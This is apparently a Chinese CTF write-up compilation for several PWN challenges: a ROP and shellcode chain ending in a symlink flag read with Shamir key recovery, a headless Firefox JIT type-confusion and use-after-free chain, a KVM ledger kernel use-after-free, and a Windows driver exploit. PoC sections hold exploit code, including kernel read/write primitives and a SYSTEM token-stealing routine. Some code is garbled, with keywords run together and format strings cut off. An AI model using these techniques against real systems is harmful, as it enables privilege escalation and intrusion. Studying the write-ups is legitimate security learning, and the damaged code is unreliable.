gift.elf 读入 flag 文件,用 getrandom 取32字节密钥,为每个密钥字节生成一个17次多项式,二十章各给出一组取值,并打印20条收据和 flag.enc 。每条残章66位hex即33字节:1字节来源标签加32字节份额。17次多项式由18个点唯一确定,所以至少需要18条有效记录;少于18条时插值出的密钥必然错误,AES-GCM的tag校验也会失败。标签只用于区分来源,插值时按计分顺序重编为 x=1..18 ,第15章缺章不会在横坐标上留下空洞,重编号后的点集仍落在同一组17次多项式上,零处取值不变。
3. 解题过程
会话时序与帧定界
整条链只开一个socket,先等 target: <80hex> 出现,然后每章按固定顺序走:读auxv(菜单2)→调弦(菜单1,写第一段祷文)→布栈(菜单2,写255字节)→弹奏(菜单4,发咒文)→确认两次 ACCEPT →读 /tmp/x 取残章→发 6 离开。菜单提示是固定字节串 卷轴: 、 祷文: 、 咒文: ,菜单尾部是 6) 离去\n> ;收发必须按字节匹配,不能用行读取,因为auxv回显含NUL和任意二进制。
魔方搜索放在后台线程与网络IO并行:每章一开始就把 target 交给线程,等auxv读完、祷文写完再取结果,搜索时间与IO时间重叠,不会叠加到章节时限上。wrapper有章节超时,超时会主动推进到下一章并打印新的 target ;此时旧章已无法提交,程序检测到“未请求的target”就改用新目标继续,该章记为未计分,避免中断整条链。
求解与咒文编码
先把 target 的80个hex解成40字节,构造 State(cp,co,ep,eo) ,用预计算树求出 URFDLB 序列,最后逐字节编码。编码器按顺序尝试三种入口,并断言三条性质:长度与原公式相等且不超过31、逐字节 %6 与公式面一致、 State().play(spell) 等于 target 。第一段枢轴的骨架是三个字节:某个 pop reg ( 0x58 ~ 0x5d 分别对应 L/B/U/R/D )、 0x5c ( pop rsp ,余数2即 F )、 0xc3 ( ret ,余数3即 D )。前缀用 0x90/0x91/0xf8/0xf9/0x64/0x65 顶住,遇到 L 且后面还有公式步时写 0xb2 0x30+index ,把下一步的余数塞进立即数。 leave 入口则是 pop rbp ( 0x5d )接 0xc9 ( leave ,201%6=3)再接 0xc3 ,三个字节都是 D ,正好消耗公式里连续三个 D 。
例如公式片段 ...U F D... 编码为 5a 5c c3 ,执行时先弹掉栈上一个qword,再 pop rsp 把栈指针换成刚弹出的值, ret 即跳进祷文。枢轴之前的字节都是无副作用的单字节指令,枢轴之后的字节只用来满足校验、永不执行。
取地址与栈布局
读 /proc/64/auxv 的响应先剥掉 卷轴: 标记,之后每16字节解一对 ,遇 tag==0 停止,必须同时存在3、7、25三项。算得 pie=aux[3]-0x40 、 ld=aux[7] 、 prayer=pie+0x5060 ,祷文与gadget地址全部由这两个基址派生,所以每章都要重取一次,上一章的数值不能复用。
布栈载荷为 b"x\x00" + b"A"*(0xf0-2) + pack(prayer) ,再补 B 到恰好255字节,整段不含 \n :开头的短串加NUL让路径在第一个NUL处结束,补齐到255字节则保证0xf0槽位一定被写到,同时避免换行为读入提前收尾。被拦路径用 b"flag\x00" + spray[5:] ,前五个字节触发黑名单,但0xf0处的8字节与原载荷完全一致,布栈效果不变而 read_once 未被消耗。
第一段祷文:mprotect、清标记、回写父进程
112字节按qword排布, q0 在 prayer+0 , q1..q9 在 +8..+0x48 ,31字节代码接在 +0x50 :
q0 ld+0x25AC pop rdi; pop rbp; ret
q1 pie+0x5000 mprotect 起始地址
q2 prayer+0x20 leave; ret 的新 rbp
q3 ld+0x1F5FB pop rdx; leave; ret
q4 7 PROT_READ|WRITE|EXEC
q5 ld+0x599B pop rsi; pop rbp; ret
q6 0x1000 mprotect 长度
q7 0 rbp,进代码前被换成 syscall;ret gadget
q8 pie+0x1344 mprotect@plt(跳过 endbr64)
q9 prayer+0x50 31字节代码入口
链条成立的关键在 pop rdx; leave; ret 这个组合: rdx 取到7之后, leave 把 rsp 拉到 prayer+0x20 ,于是 pop rbp 吃掉 q4 、 ret 跳到 q5 ,用一个gadget同时完成“传参”和“跨过中间槽位”。 mprotect 返回0后 rax 清零、参数寄存器保持不变, ret 落到 q9 。31字节代码依次做: mov [rdi+0x48],rax 清零 read_once 与 spell_once 、 mov [rdi+0x40],eax 清零 tuned 、 push rsi (0x1000)、 push rdi (页地址)、 push rsp; pop rsi 得到local iovec、 mov r10,rsi 复用同一结构作remote iovec、 mov dl,1 与 mov r8d,edx 各置计数1、 xor r9d,r9d 清flags、 push 64; pop rdi 指定父进程、 mov ax,311 选 process_vm_writev 、 call rbp 发起调用。用 mov ax 而非 mov eax 是为了省字节,此时 rax 本来就是0。
call rbp 会把返回地址压在iovec下方,不影响iovec内容;iovec里的 iov_base=pie+0x5000 在父进程中同样有效。载荷每次生成后都要扫描是否含 0f 05 ,若某个gadget地址的字节恰好构成该序列,就改用 ld+0x25F66 、 ld+0x25F85 、 ld+0x25FC9 等备选 syscall;ret 。
第二段祷文与被拦路径
第二段祷文是纯ROP,10个qword加尾部字符串: pop rax; ret 置88( __NR_symlink ), pop rdi; pop rbp; ret 取 prayer+80 ( /flag\0 ), pop rsi; pop rbp; ret 取 prayer+86 ( /tmp/x\0 ), ret 进 syscall;ret ,最后跳到服务的 _exit(0) ,免得子进程回到不可控的返回路径。字符串放在 +80 之后,整个祷文仍压成112字节,同样要保证不含 0f 05 。
执行次序有讲究:先调弦写入symlink祷文,再发被拦的255字节路径完成布栈(这一步不读文件、也不消耗 read_once ),随后第二次弹奏触发symlink,最后读 /tmp/x 。读回的响应去掉开头的 卷轴: 和结尾的完整菜单,用 (? 抓66位hex,前后加边界是为了不把菜单数字或更长的十六进制串误当残章。发送 6 之后,外层回显“残章到手”才算真正计分。
二十章执行与开碑
现场执行中第1至14章和第16至19章计分,第15章跳过(那一章的公式没能编出可用枢轴),第20章开始时已满18枚,直接发 6 离开,结算为 18/20 并给出 flag.enc 。整理时把第16章得到的记录放在第十五个有效位置:通过外层计分的记录按取得顺序排好,第一条到第十八条依次取Shamir横坐标 x=1..18 ,纵坐标取后面的32字节,份额自带的来源标签不参与插值。即使中间有一章空缺,计分顺序仍然连续,不会在横坐标上留下洞;18条必须来自同一条TCP会话,跨轮拼接会得到互相矛盾的份额。
插值在GF(256)上逐字节进行,约简多项式 0x11d ,即 xtime 溢出时异或 0x1d ;加法是异或,乘法用八轮“看最低位累加、左移、溢出补0x1d”的移位实现,除法取逆元 a^254 。对每个密钥字节,用十八个点在零处作拉格朗日插值:
K[b] = XOR_j ( y[j,b] * PRODUCT_{m != j} x[m] / (x[m] XOR x[j]) )
权重只依赖横坐标,先算好18个权重再逐字节累乘,32字节密钥一次得到。随后把 flag.enc 的70字节切成 12字节nonce || 42字节密文 || 16字节tag ,以 AESGCM(key).decrypt(nonce, 密文||tag, None) 解密。GCM的tag同时认证密钥与密文:份额不足、横坐标错位或混轮都会让tag校验失败,因此只有解密不抛异常时,42字节明文才可作为最终提交值。
4. PoC
import re, socket, struct
SCROLL, PRAYER, SPELL = "卷轴: ".encode(), "祷文: ".encode(), "咒文: ".encode()
MENU = "6) 离去\n> ".encode()
TARGET = re.compile(rb"target:\s*([0-9a-f]{80})")
class Proto:
def __init__(self, host, port):
self.s = socket.create_connection((host, port), timeout=10)
self.s.settimeout(20)
self.buf = bytearray
def send(self, data):
self.s.sendall(data)
def until(self, marker):
whileTrue:
pos = self.buf.find(marker)
if pos >= 0:
end = pos + len(marker)
out, self.buf = bytes(self.buf[:end]), self.buf[end:]
return out
chunk = self.s.recv(65536)
ifnot chunk:
raise EOFError
self.buf.extend(chunk)
def menu_read(p, path):
p.send(b"2\n"); p.until(SCROLL); p.send(path)
return p.until(MENU)
def menu_tune(p, prayer):
assert len(prayer) == 112
p.send(b"1\n"); p.until(PRAYER); p.send(prayer)
return p.until(MENU)
def menu_play(p, spell):
assert1 <= len(spell) <= 31andb"\n"notin spell
p.send(b"4\n"); p.until(SPELL); p.send(spell + b"\n")
out = p.until(MENU)
assertb"ACCEPT\n"in out
return out
def build_symlink_prayer(pie, ld, source=b"/flag", dest=b"/tmp/x"):
prayer = pie + 0x5060
words = [
ld + 0x1548B, 88, # pop rax; __NR_symlink
ld + 0x25AC, prayer + 80, 0, # oldpath
ld + 0x599B, prayer + 80 + len(source) + 1, 0, # newpath
ld + 0x16629, # syscall; ret
pie + 0x2414, # _exit(0)
]
out = struct.pack(", words[0]) + struct.pack("<9Q", *words[1:]) + source + b"\0" + dest + b"\0"
out = out.ljust(112, b"\0")
assertb"\x0f\x05"notin out
return out
def gf_mul(a, b):
r = 0
for _ in range(8):
if b & 1: r ^= a
carry = a & 0x80
a = (a << 1) & 0xFF
if carry: a ^= 0x1D
b >>= 1
return r
def recover_key(shares):
xs = [s[0] for s in shares[:18]]
weights = []
for i, xi in enumerate(xs):
w = 1
for j, xj in enumerate(xs):
if i != j:
inv = 1
e, base = 254, xi ^ xj
while e:
if e & 1: inv = gf_mul(inv, base)
base, e = gf_mul(base, base), e >> 1
w = gf_mul(w, gf_mul(xj, inv))
weights.append(w)
key = bytearray(32)
for share, w in zip(shares[:18], weights):
for i, y in enumerate(share[1:]):
key[i] ^= gf_mul(y, w)
return bytes(key)
def exploit(host, port, spell):
p = Proto(host, port)
target = TARGET.search(p.until(b"\n")).group(1).decode()
aux = menu_read(p, b"/proc/64/auxv\0")
pairs = {}
for i in range(0, len(aux) - 15, 16):
tag, val = struct.unpack(" , aux[i:i+16])
if tag == 0: break
pairs[tag] = val
pie, ld = pairs[3] - 0x40, pairs[7]
menu_tune(p, build_symlink_prayer(pie, ld))
spray = b"A" * (0xf0 - 2) + struct.pack(", pie + 0x5060) + b"B" * 0x3e
menu_read(p, b"flag\0" + spray[5:]) # 被拦,但栈已布置
menu_play(p, spell) # 触发 symlink
leak = menu_read(p, b"/tmp/x") # 66 位 hex 残章
p.send(b"6\n")
return target, pie, ld, leak
PWN15-What The Fox!
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+容器)
|
|
附件
|
What_The_Fox_bff14d2d1ca2da67f016aaa0cb38b975.zip
|
|
目标
|
在headless Firefox中执行代码,运行/readflag
|
Flag:flag{动态容器已脱敏}
2. 题目分析
服务要求输入HTML,以单独一行 EOF 结束;服务落盘后用headless Firefox打开,浏览器stdout接回同一TCP,payload里的 dump() 逐行回传。目标是让渲染进程执行 /readflag ,输出用 echo FLAG_START / FLAG_END 夹住。
版本指纹:页面侧有 processLocally / phrases 、launcher无 getauxval / realpath 导入,源码夹在2026-10-16至10-19。偏移取自同版本 libxul 符号: vptr-0xc47abc0 为PIE, base+0xc68d5a8 是 read 的GOT槽, read-0x128150 为libc, execve=libc+0xf7f00 、 setcontext=libc+0x4be80 。
headless没有窗口与手势,只能让渲染引擎解析HTML时出错。链路:Image文档把图片加载状态的回放接进JS;同步XHR排空嵌套事件循环,让取消加载的proxy异步释放;JIT类型混淆把double位模式当字符串长度压到8字节,得到改data指针的任意读写;从 Image / Uint8Array 的wrapper取JS对象、native指针、vptr与backing store反推PIE与libc;在回收内存上摆 setcontext 与 execve 参数。
重入:根元素带 ; load 后预热 data: 图片,建隐藏 about:blank iframe并把 contentDocument 设为 contenteditable ,再建 src 为PNG Blob URL的iframe并注册捕获阶段 readystatechange 。当 readyState==="interactive" 且 contentType==="image/png" 时,把image document的 用 adoptNode 搬进隐藏文档并换回预热 src ,再 armStyleFlush() :SVG的 defs/g #replay -source 里放 type="application/json" 的 script (文本 replayPayload() ),改成 application/javascript 后插入 。use克隆实例化脚本时调用栈压着渲染帧; contenteditable 让native属性更新时重试编辑器初始化并flush父文档样式,这是从CSS刷新回到JS的门。
UAF: replayPayload() 先 runJIT() ,再 removeAttribute("src") ——取消只投递 RemoveFromLoadGroup runnable,最后一个引用在异步点归零, xhr.open(...,false) 的同步XHR进入嵌套事件循环把它执行掉。随后100个0xf0字节 Blob 吃掉被释放对象: +0x10 栈、 +0x18 目标函数、 +0x40 为 0x1f80 、 +0x50/+0x60 指向backing store、 +0xc8/+0xd0 为路径与argv。
JIT混淆: f(o,a,b,h1,h2) 里 k=a+b ,随后 h1.w=k 、 o.hasOwnProperty(k) 、 h2.x=k 。训练时 i 在 [600,603) 把 o 换成 'primitive' , [6000,6005) 换成5个异形对象, i>=6005 把 b 改成 'h2' ,使 h2.x 先学double再喂字符串,一个方向把字符串指针当未装箱double写,另一个方向把double位模式当字符串读。 header(len,flags=0x450) 造低32位 0x450 、高32位 len 的double,当字符串头后 z.length 即 len 。喷射16轮、每轮30000个 {p0..p4} 对象, base=100000+r*30000 , hs2[i].x.length 落进区间即命中重叠槽,逐槽改 header(8) 定位长度字段,下一槽就是data指针。
泄露与伪造:字符串data指向 image 读出JS对象, +24 取native指针,头8字节是vptr,减 0xc47abc0 得PIE; base+0xc68d5a8 读出 read 真实地址,减 0x128150 得libc; Uint8Array 的wrapper +0x30 是backing store。把这块0x200缓冲区当伪造对象: +0x100 放 /bin/sh 、 +0x110 放 -c 、 +0x120 放命令、 +0x170 放argv、 +0xa8 放 setcontext 、 +0x1c8 放栈标记。
3. 解题过程
-
连接确认
EOF协议,dump()做观测通道。 -
读launcher定构建窗口,核对
0xc47abc0、0xc68d5a8、0x128150等常量。 -
构造image document重入,
armStyleFlush()把replayPayload()塞进SVG use克隆。 -
runJIT()训练喷射,removeAttribute("src")后同步XHR排空,Blob占位。 -
泄露PIE、libc与backing store,填伪造对象。
-
移除
reftest-wait触发虚调用,setcontext转execve跑/readflag。
4. PoC
import re, socket
HOST, PORT = "fox", 1337
FLAG = re.compile(rb"(?m)^FLAG_START\r?\n(flag\{[^\r\n}]+\})FLAG_END")
JS = r''''''
def attempt():
s = socket.create_connection((HOST, PORT), 65)
s.recv(4096)
s.sendall(JS.encode() + b"\nEOF\n")
s.settimeout(65)
return FLAG.search(s.recv(1 << 20)).group(1).decode()
PWN16-shadowledger
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
附件题(KVM guest内核提权)
|
|
附件
|
shadowledger_dcb3b5ee9fc0a77b3dfcc6934a738a99.zip
|
|
目标
|
以nobody进入guest,提权到root并读取/flag
|
Flag:flag{动态容器已脱敏}
2. 题目分析
guest由 qemu-system-x86_64 -enable-kvm -cpu host -m 256M -smp 1 启动,cmdline为 console=ttyS0 quiet kaslr pti=on panic=-1 ,无网络,宿主必须支持嵌套虚拟化,因为guest内部还要再建VM。附件只有 bzImage 、 initramfs.cpio.gz 和启动脚本,没有kernel config、vmlinux、 System.map ,也没有KVM补丁源码,符号与结构体偏移只能从exp的硬编码常量和运行时泄露反推。单核让slab布局相对确定,256MB限制了堆喷射规模,只能做小对象精确复用; panic=-1 加 quiet 意味着一次错误写入就会断连且看不到崩溃栈,利用必须一次跑通泄露、写原语与提权。
账本模型:租户为private page发布receipt,其他租户依次witness、co-sign、settle、accept、fold,每步记为entry,角色分离使单条回执无法走完全程。guest内提供 /dev/kvm 与 /usr/bin/shadowctl , shadowctl demo 只走普通审计路径,会命中角色门禁。
所有账本ioctl都作用在KVM VM fd上,说明题目在KVM内部加了一层收据状态机,而不是另建字符设备。 _IOC 把方向、type、nr、size打进32位请求号,自定义nr集中在 0xe0 到 0xee ,与KVM原生请求同属type 0xae ,在VM fd上按nr二次分派:
|
ioctl
|
来源
|
作用
|
|---|---|---|
0xae01 |
KVM
|
KVM_CREATE_VM |
0xaee0 |
账本
|
初始化账本/VM上下文
|
0xc040aed4 |
KVM
|
KVM_CREATE_GUEST_MEMFD |
0x40a0ae49 |
KVM
|
KVM_SET_USER_MEMORY_REGION2 |
0x4020aed2 |
KVM
|
KVM_SET_MEMORY_ATTRIBUTES |
0x4040ae79 |
KVM
|
KVM_IOEVENTFD |
0xc070aee1 |
账本
|
publish,提交回执
|
0xc070aee2 |
账本
|
certify
|
0x4070aee3 |
账本
|
co-sign
|
0x4070aee4 |
账本
|
accept
|
0xc050aee5 |
账本
|
settle
|
0x4050aee6 |
账本
|
renew/状态迁移
|
0xc020aee7 |
账本
|
peek,读回执字段
|
0x4088aeea |
账本
|
带MAC的状态检查/oracle
|
0xaeeb |
账本
|
fold/运行触发器
|
0xc0c0aeee |
账本
|
fold准备,写折叠记录
|
size位给出结构体大小: 0xc070aee1 是0x70、 0xc050aee5 与 0x4050aee6 是0x50、 0x4088aeea 是0x88、 0xc0c0aeee 是0xc0,每条命令都用一个定长结构体整体进出内核,字段按固定偏移排列,这也是后面能在 0x260 、 0x2a8 读出key材料的前提。方向位区分纯输出(peek)、纯输入(co-sign/accept)与双向(publish/settle/fold准备)。利用顺序因此固定:先 KVM_CREATE_VM ,再初始化账本,后续回执操作全部走同一个VM fd,关闭fd则账本上下文与所有回执一起销毁。
漏洞: renew / revoke 只把回执标记为失效并从活跃链表摘除,没有撤销peek缓存、accept队列与其他回执里保存的指针。对象随后释放回slab,旧句柄仍能通过peek/accept进入内核,形成UAF读;回执底层与 guest_memfd 的slot共用分配路径,同尺寸对象(eventfd上下文、slot、btree节点)会复用这块内存,旧句柄读到的已是新对象内容。利用分两段:先用UAF读泄露key/nonce并确认槽可复用,再用UAF写覆盖slot0里的折叠记录,让fold按攻击者给的地址与值执行内核写,最终落到 commit_creds 路径。附件不足以确认具体是哪个ioctl在哪个错误分支提前free,这里只按脚本实际执行的顺序描述原语。
布局判据:publish/certify后不立刻peek,而是检查 KVM_SET_USER_MEMORY_REGION2 返回结构里的flags与计数字段。该结构与账本slot共享内存布局,只有回执落在预期slot且region字段与初始化写入的值一致时,peek的固定偏移才指向目标字段;否则读到相邻对象。脚本把它当布局旁证,不满足就关闭fd重建,最多32次,把slab随机化过滤成可预测布局。
slide oracle: 0x4088aeea 接收0x88字节结构体,内含候选slide、用泄露key算出的MAC与期望状态,账本用自身key重算tag,只有匹配才返回通过。于是它等价于1比特判定器, candidate=i<<21 、 i 取0到511正好覆盖x86-64默认1GB的KASLR窗口,512次ioctl即可唯一确定slide;MAC带密钥,错误候选不会因为地址可映射而误判。
任意写:折叠记录带目标地址、写值与长度,fold在账本上下文里按记录执行写,等价于把受控值写到slide换算后的内核地址。脚本先算出 commit_creds 的运行时地址,再把补丁值写进对应位置; SHAPE SLOT0 FREE/REFILL 保证slot0的旧回执被释放后由伪造记录精确占位, ACCEPT C SECOND 让记录进入待fold链表, FOLD C ROOT 才真正触发写入。写成功后不再需要第二次UAF,直接读flag即可。
3. 解题过程
-
以nobody进入guest,确认
/dev/kvm与shadowctl可用,用upload助手按base64(gzip)分块上传静态exp,单行512字符、单独一行EOF结束,等ready:后执行/tmp/exp。 -
打开
/dev/kvm,KVM_CREATE_VM后调0xaee0初始化账本,用KVM_CREATE_GUEST_MEMFD与KVM_SET_MEMORY_ATTRIBUTES标记private页,再用KVM_SET_USER_MEMORY_REGION2映射;publish A、certify B,检查region2返回的flags与计数,不符就关fd重建,最多32次。 -
泄露:
PEEK C SECRET、PEEK OLD NONCE、PEEK CRED读出本应隔离的字段;SHAPE FREE/SHAPE REFILL释放回执并用同尺寸对象占位,验证旧引用仍可读;eventfd加KVM_IOEVENTFD C用内核对象填充空槽;ACCEPT C、RENEW C在槽被占位后继续推进状态,读出0x260、0x2a8两处key材料。 -
枚举
i=0..511的i<<21作为候选slide,用泄露key算MAC后调0x4088aeea,命中后打印KASLR slide,再用SCRATCH MODE2、FOLD PREP MODE2、MODE2 MAC复算一次,避免单比特碰撞。 -
SHAPE SLOT0 FREE/REFILL释放slot0并用受控记录占位,ACCEPT C SECOND让记录进入fold队列,PATCH COMMIT_CREDS把slide换算出的地址与补丁值写进伪造记录,FOLD C ROOT触发内核写。 -
geteuid()返回0后打开并读取/flag,打印flag: ...,末尾再发一次0xaeeb并用geteuid()==0确认提权不是偶然返回值。
4. PoC
import base64, gzip, re, socket, time
DONE = re.compile(rb"__SHADOW_DONE__(\d+)")
FLAG = re.compile(rb"flag:[ \t]*([^\r\n]+)")
HOST, PORT = "shadow", 1337
def until(s, tok, timeout):
s.settimeout(timeout)
buf = b""
while tok notin buf:
chunk = s.recv(4096)
ifnot chunk:
raise RuntimeError("connection closed")
buf += chunk
return buf
def upload(s, raw):
blob = base64.b64encode(gzip.compress(raw, 9))
until(s, b"Launching shell as nobody", 120)
s.sendall(b"upload\n")
for i in range(0, len(blob), 512):
s.sendall(blob[i:i + 512] + b"\n")
if (i // 512) % 16 == 15:
time.sleep(0.03)
s.sendall(b"EOF\n")
until(s, b"ready:", 120)
s.sendall(b"/tmp/exp; echo __SHADOW_DONE__$?\n")
def run(raw):
s = socket.create_connection((HOST, PORT), 30)
upload(s, raw)
buf = b""
s.settimeout(600)
whileTrue:
try:
chunk = s.recv(65536)
except socket.timeout:
break
ifnot chunk:
break
buf += chunk
m = FLAG.search(buf)
if m:
return m.group(1).decode()
returnNone
PWN17-Ironclad
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
附件题
|
|
附件
|
有
|
|
目标
|
无(离线附件)
|
Flag:flag{59b5c4b55e2a5c09dec66bb3aad099ae}
2. 题目分析
ironclad.sys (42008字节)实现“用户态提交指令流、内核侧操作对象”的小VM:每个session有RING、DESC数组与事务TXN,结构带SipHash标签。SDDL允许 AU 读写,可直接 CreateFileA("\\.\Ironclad") ,IOCTL均为 FILE_ANY_ACCESS 加METHOD_BUFFERED,边界由驱动自查。镜像基址 0x140000000 , .kdp 在 0x14001a000 ,DriverEntry生成两把SipHash密钥写入 .kdp+0x30/.kdp+0x40 ,23个handler写进 .kdp+0x50 后由 MmProtectDriverSection 只读化。
漏洞在对象读取缓存上。 FUN_1400031d0 (op3)→ FUN_140003c7c :
0x3990(ring,idx,&DESC); // 槽校验,DESC 补高位标记
hit = ring[0x26]!=0 && ring[0x20]==idx && (u16)ring[0x24]==(u16)slot.gen && ring[0x30]==DESC;
if (hit) 校验 ring[0x40] 的MAC后返回 ring[0x38]/ring[0x28];
else 建立缓存并把 data/size/DESC 写进 ring[0x20..0x48];
每个RING只有一个缓存条目,缓存的是“当时”的data指针与size。resize(op6)成功后调 FUN_140003b30 遍历 DESC->SHDW 的ACT链表,但只在 cached_idx==idx && cached_DESC==DESC 时清缓存:
140003b78: 44 39 50 20 cmp %r10d,0x20(%rax) ; 缓存idx == 被resize的idx?
140003b7c: 75 18 jne 140003b96
140003b7e: 4c 39 58 30 cmp %r11,0x30(%rax) ; 缓存DESC == 被resize的DESC?
DESC是对象,槽号只是引用,同一对象可被export/import到别的session的不同槽号。A用自己的槽号x读O,B用y≠x resize同一DESC:旧缓冲区释放,遍历到A时槽号不等被跳过,A再读命中缓存,拿到已释放的地址与长度,op3与op5变成UAF读写。
关键结构:
|
结构
|
字段
|
|---|---|
|
RING
|
+0x00 'RING'
、
+0x04 id 、 +0x08 RSEC 、 +0x10/+0x14 游标、 +0x18 mode 、 +0x20..0x48 缓存、 +0x48/+0x50 链表、 +0x58 事务表、 +0x80 槽数组(每项0x18) |
|
RSEC
|
+0x00 'RSEC'
、
+0x04 id 、 +0x08 回指RING、 +0x48 16字节本会话SipHash密钥 |
|
DESC
|
+0x08 size
、
+0x0c flags 、 +0x10 data 、 +0x18 refcount 、 +0x20 canary、 +0x28 SHDW |
|
TXN
|
+0x00 'TXNS'
、
+0x04 handle 、 +0x08 ring 、 +0x10 DESC 、 +0x18 数据快照、 +0x20 缓冲区、 +0x28 len 、 +0x30 MAC |
三个原语配合起来:
-
0x222408输出0x40字节,flag&2时+0x38是*(u64*)(ring+8),即RSEC指针,这是全驱动唯一的内核指针泄漏。 -
op10(begin)把
DESC->data快照进txn+0x18,op11(commit)只检查“当前size≥txn len”就memcpy(txn+0x18,txn+0x20,len);中间resize让旧缓冲区释放且size变大,commit就写到已释放块起始处。 -
op14用
RSEC+0x48对DESC->data+off求SipHash,而TXN MAC与缓存MAC都是单级SipHash(RSEC+0x48,blob),这个oracle就是MAC伪造机。
池分配粒度: ExAllocatePool2 块大小是 round_up(请求+0x10,0x10) ,canary(len=0x30)与TXN记录同为0x50块,canary(len=0x1f0)与mode0 RING( 0x10*0x18+0x80=0x200 )同为0x210块,这决定了填充对象长度。
提权走EPROCESS遍历,build是26300.9818,公开偏移不可用。读IAT槽 drv+0x6048 取 ExAllocatePool2 地址,按页向下扫第一个 MZ 且 e_lfanew 处为 PE\0\0 的镜像得nt基址;导出表二分 PsInitialSystemProcess 并解引用得到System的EPROCESS; ImageFileName 在其前0x800字节找 System 加全0、取离 0x5a8 最近的候选( 0x338 ); ActiveProcessLinks 用 X->Flink->Blink==X 自证( 0x110 ),顺链表比对 UniqueProcessId 与 GetCurrentProcessId() 。
Token偏移常规做法是找 _TOKEN_SOURCE.SourceName 为 *SYSTEM* ,本build没命中,于是收集System与自己两份EPROCESS里“都是内核指针且不相等”的偏移,按离 0x4b8 排序,逐个 kwrite 后用 GetTokenInformation(TokenUser) 检查SID是否为 S-1-5-18 ,不是就写回原值。读flag后必须睡死:假RING破坏了全局会话链表,退出时 IRP_MJ_CLOSE 会unlink并bugcheck, 0x47b0 释放假TXN时也会free假指针。
3. 解题过程
-
反编译
ironclad.sys(152个函数),确认IRP分发、IOCTL表与对象布局;0x22240c的mode=1栈溢出是DoS陷阱,0x222410是死代码。 -
建S1/S2两个session(mode0,s1=s2=0x100),S2先建8个filler让槽号从8开始;S1创建L(0x30)与Y(0x1f0)并export,S2 import到槽8/9。
-
S2读槽8建立指向L缓冲区的缓存,S1 resize(L,0x1000)释放该缓冲区(槽号不同,缓存不清),S2再读槽8仍拿到旧内容,UAF确认。
-
阶段A:循环240次
begin(Y,0x10)且不abort,每次永久吃掉一个0x50块,逐次读槽8看前4字节是否为TXNS,命中后从txn+0x08/+0x10/+0x18读出RING、DESC_Y与P_Y,再begin(Y,0x1a0)拿写事务。 -
阶段B:S2读槽9把缓存指向P_Y,S1 resize(Y,0x1000)释放0x210块;预绑128个session handle后依次
create,把RING打进该块,命中后读ring+0x08得RSEC、ring+0x48得Flink,减0x82f8并做页对齐校验得到驱动基址。 -
阶段C:构造0x1a0字节RING镜像(
+0x58指向自身事务表、三个假TXN的MAC用op14算),op22(hw,...)后commit写入P_Y,并把用户态ins/outs重同步为镜像里的游标。 -
阶段D:
forge_cache伪造0x28字节缓存条目交给TXN_C改写ring+0x20,op3即可读任意地址;伪造TXN记录交给TXN_P写进ring+0x160,op22的memcpy(*(txn->buffer)+off,...)即任意写。随后扫nt基址、取System EPROCESS、找自身、试写token并用SID校验,读C:\flag.txt后Sleep不返回。
4. PoC
/* MAC oracle:op4 把数据写进对象 X,op14 用本会话密钥求 SipHash */
static u64 mac(Sess *s, const void *blob, u32 len)
{
M_write(s, g_xslot, 0, len, (void *)blob);
return M_hash(s, g_xslot, 0, len).ret;
}
/* 伪造缓存条目:哈希时 active 被强制 0,落盘时改 1 */
static void forge_cache(u64 addr, u32 size)
{
u8 blob[0x28] = {0}, st[0x28];
wr16(blob + 4, (u16)g_gen_x);
wr32(blob + 8, size);
wr64(blob + 0x10, g_desc_x);
wr64(blob + 0x18, addr);
wr64(blob + 0x20, g_ring);
u64 m = mac(&S4, blob, 0x28);
memcpy(st, blob, 0x28);
wr16(st + 6, 1);
wr64(st + 0x20, m);
M_twrite(&S4, 4, 0, 0x28, st); /* TXN_C 的 buffer = ring+0x20 */
}
static void kread_(u64 addr, void *buf, u32 len)
{
forge_cache(addr, len);
M_read(&S4, 0, 0, len, buf); /* 命中缓存 → memcpy(buf, addr, len) */
}
/* op22 = memcpy(*(txn->buffer)+off, user, len),buffer 来自伪造 TXN 记录 */
static void kwrite_(u64 addr, const void *buf, u32 len)
{
u8 blob[0x38] = {0}, txn[0x38] = {0};
wr32(blob + 0, 5);
wr32(blob + 8, len);
wr64(blob + 0x10, g_ring);
wr64(blob + 0x28, addr);
wr64(blob + 0x30, g_ring + 0x160);
u64 m = mac(&S4, blob, 0x38);
wr32(txn + 0, 0x534e5854);
wr32(txn + 4, 5);
wr64(txn + 8, g_ring);
wr64(txn + 0x20, addr);
wr32(txn + 0x28, len);
wr64(txn + 0x30, m);
M_twrite(&S4, 1, 0, 0x38, txn); /* 借 TXN_P 改 TXN_X 记录 */
M_twrite(&S4, 5, 0, len, (void *)buf);
}
static int steal_token(u64 mine, u64 sys_ep)
{
u64 tok = kread64(sys_ep + g_token_off);
HANDLE h;
DWORD n;
u8 sid[0x40];
kwrite_(mine + g_token_off, &tok, 8);
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h))
return0;
GetTokenInformation(h, TokenUser, sid, sizeof(sid), &n);
CloseHandle(h);
return *(u32 *)(sid + 4) == 0; /* S-1-5-18 的 RID 为 0 */
}
📰 相关阅读
— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —














暂无评论内容